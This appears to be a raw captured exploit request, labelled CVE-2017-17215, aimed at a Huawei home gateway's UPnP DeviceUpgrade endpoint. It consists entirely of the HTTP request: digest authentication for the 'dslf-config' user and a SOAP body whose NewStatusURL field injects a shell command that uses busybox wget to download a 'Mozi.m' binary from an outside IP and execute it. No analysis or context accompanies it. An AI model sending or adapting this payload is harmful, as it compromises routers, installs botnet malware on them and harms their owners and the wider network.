CVE-2017-17215

{
  "note": "POST /ctrlt/DeviceUpgrade_1 HTTP/1.1\r\nHost: 193.168.124.237:37215\r\nContent-Length: 601\r\nConnection: keep-alive\r\nAuthorization: Digest username=\"dslf-config\", realm=\"HuaweiHomeGateway\", nonce=\"88645cefb1f9ede0e336e3569d75ee30\", uri=\"/ctrlt/DeviceUpgrade_1\", response=\"3612f843a42db38f48f59d2a3597e19c\", algorithm=\"MD5\", qop=\"auth\", nc=00000001, cnonce=\"248d1a2560100669\"\r\n\r\n\u003c?xml version=\"1.0\" ?\u003e\u003cs:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"\u003e\r\n\u003cs:Body\u003e\u003cu:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\"\u003e\r\n\u003cNewStatusURL\u003e$(/bin/busybox wget -g 180.243.2.45:51387 -l /tmp/huawei -r /Mozi.m;chmod -x huawei;/tmp/huawei huawei)\u003c/NewStatusURL\u003e\r\n\u003cNewDownloadURL\u003e$(echo HUAWEIUPNP)\u003c/NewDownloadURL\u003e\r\n\u003c/u:Upgrade\u003e\u003c/s:Body\u003e\u003c/s:Envelope\u003e"
}